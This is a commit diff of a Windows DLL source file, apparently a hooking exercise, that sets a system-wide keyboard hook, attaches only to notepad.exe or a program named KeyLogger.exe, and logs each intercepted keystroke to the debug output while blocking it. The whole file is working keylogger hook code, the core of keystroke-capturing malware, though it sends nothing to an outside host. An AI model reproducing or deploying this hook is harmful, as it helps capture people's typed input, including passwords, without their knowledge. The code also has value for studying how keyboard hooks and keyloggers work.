1
+ // dllmain.cpp : DLL 응용 프로그램의 진입점을 정의합니다.
2
+ #include " windows.h"
3
+ #include " cstdio"
4
+ #include " tchar.h"
5
+ #include " tlhelp32.h"
6
+ #include " psapi.h"
7
+
8
+ HINSTANCE g_hInstance = NULL ;
9
+ HHOOK g_hHook = NULL ;
10
+ HWND g_hWnd = NULL ;
11
+
12
+ TCHAR buf[BUFSIZ] = { 0 , }; //
13
+
14
+ TCHAR *pt = NULL ; //
15
+
16
+ DWORD sPid ; // process id
17
+
18
+ HANDLE sHnd ; // Handle
19
+
20
+
21
+ BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD ul_reason_for_call,LPVOID lpReserved)
22
+ {
23
+ switch (ul_reason_for_call)
24
+ {
25
+ case DLL_PROCESS_ATTACH:
26
+
27
+ // GetCurrentProcess();
28
+ sPid = GetCurrentProcessId ();
29
+ // process name
30
+ // >> installer or notepad.exe 아니면, return FALSE
31
+ sHnd = OpenProcess (PROCESS_ALL_ACCESS,FALSE ,sPid );
32
+ if (sHnd == NULL ) {
33
+ OutputDebugStringW (L" sHnd Fail\n " );
34
+ }
35
+
36
+
37
+
38
+ if ( GetModuleFileNameExW (sHnd , NULL , buf, sizeof (buf))==0 ) {
39
+ OutputDebugStringW (L" GetModuleFileNameEx Fail\n " );
40
+ }
41
+ pt = _tcsrchr (buf, ' \\ ' );
42
+
43
+ // notepad hooking
44
+ if (!_tcscmp (pt + 1 , L" notepad.exe" )) {
45
+ g_hInstance = hinstDLL;
46
+ OutputDebugStringW (L" notepad attach\n " );
47
+ return TRUE ;
48
+ }
49
+
50
+ // keylogger hooking(essential)
51
+ else if (!_tcscmp (pt + 1 , L" KeyLogger.exe" )) {
52
+ g_hInstance = hinstDLL;
53
+ OutputDebugStringW (L" KeyLogger attach\n " );
54
+ return TRUE ;
55
+ }
56
+ else {
57
+ g_hInstance = hinstDLL;
58
+ return FALSE ;
59
+ }
60
+
61
+
62
+
63
+ // OutputDebugStringW(L"attach");
64
+ g_hInstance = hinstDLL;
65
+ break ;
66
+ case DLL_PROCESS_DETACH:
67
+ break ;
68
+ }
69
+ return TRUE ;
70
+ }
71
+
72
+ LRESULT CALLBACK KeyBoardProc (int nCode, WPARAM wParam, LPARAM lParam) {
73
+ TCHAR buffer[100 ] = { 0 , };
74
+ if (nCode >= 0 ) {
75
+ if (!(lParam & 0x80000000 )) {
76
+
77
+ HANDLE sdwHandle;
78
+ sdwHandle = GetCurrentProcess ();
79
+ DWORD dwExitCode = NULL ;
80
+ GetExitCodeProcess (sdwHandle, &dwExitCode);
81
+
82
+ if (dwExitCode == STILL_ACTIVE) {
83
+ wsprintfW (buffer, L" %c" , wParam);
84
+ ::OutputDebugStringW (buffer);
85
+ return 1 ;
86
+ }
87
+ else {
88
+ ::OutputDebugStringW (_T(" Current is Process is Dead\n " ));
89
+ return 1 ;
90
+ }
91
+
92
+ }
93
+ }
94
+
95
+ return CallNextHookEx (g_hHook, nCode, wParam, lParam);
96
+ }
97
+
98
+ #ifdef __cplusplus
99
+ extern " C" {
100
+ #endif
101
+ __declspec (dllexport) void hookstart() {
102
+
103
+ // HANDLE sdwHandle;
104
+ // sdwHandle = GetCurrentProcess();
105
+ // DWORD dwExitCode = NULL;
106
+ // GetExitCodeProcess(sdwHandle, &dwExitCode);
107
+ // if (dwExitCode == STILL_ACTIVE) {
108
+ // g_hHook = SetWindowsHookExW(WH_KEYBOARD, KeyBoardProc, g_hInstance, 0);
109
+ // }
110
+ g_hHook = SetWindowsHookExW (WH_KEYBOARD, KeyBoardProc, g_hInstance, 0 );
111
+ }
112
+
113
+ __declspec (dllexport) void hookstop() {
114
+ if (g_hHook) {
115
+ UnhookWindowsHookEx (g_hHook);
116
+ g_hHook = NULL ;
117
+ }
118
+ }
119
+
120
+ #ifdef __cplusplus
121
+ }
122
+ #endif
0 commit comments